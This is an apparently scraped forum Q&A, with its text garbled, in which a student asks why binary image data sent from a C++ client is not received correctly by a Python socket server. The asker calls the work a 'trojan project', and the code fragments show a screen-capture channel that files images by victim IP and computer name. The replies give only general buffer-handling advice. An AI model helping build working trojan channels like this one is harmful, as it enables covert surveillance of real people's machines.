c++ - python sockets receive binary data -
i'm having trouble receiving binary data server (python). seems os (win7) sending big data in several packets without "permission", when im trying send client (c++) binary data, have manipulations combine data. tried several ways none of worked.
here sending part (c++ - works fine sure):
sendbuf = "2011@" + readthisfile("c:\\0x3z4.jpg") + "@"; // buffer should "2011@<image data>@" // readthisfile returns string binary data file vector<char> vect(sendbuf.begin(), sendbuf.end()); // vector image data iresult = send( connectsocket, &vect[0], vect.size(), 0 ); // sending image
here receiving part (python - part of threaded function 'handler'):
while true: buffer = sock.recv(self.buffersize) if buffer[0:4] == "2011": self.print(addr[0] + " > 2011 > capture screen response.") # save image path = datetime.now().strftime("information\\" + addr[0] + "@" + self.clients[index].computername + "\\capturescreen.files\\" + "%d-%m-%y-%h-%m-%s.png") f = open(path,'wb') f.write(buffer[5:-1]) data = "" # tried receive data till i'll find eof while true: data += sock.recv(4096) if data.find("eof"): break f.write(data)
this question trojan project me , couple friends working on our course. thanks.
you're not sending buffer, you're sending first vector.size() bytes of vector. stop code in debugger, inspect memory starting @ &vect[0], , compare you're recieving, , think you'll find code behaving correctly (in sense it's doing it's supposed to, not want).
i don'tknow readthisfile does, need put bytes want send buffer , use buffer argument send. fwiw, readfile @ least easy appears you're trying do. luck.
either readthisfile needs tell how many bytes read, or need filesize way , extrapolate length of buffer
Comments
Post a Comment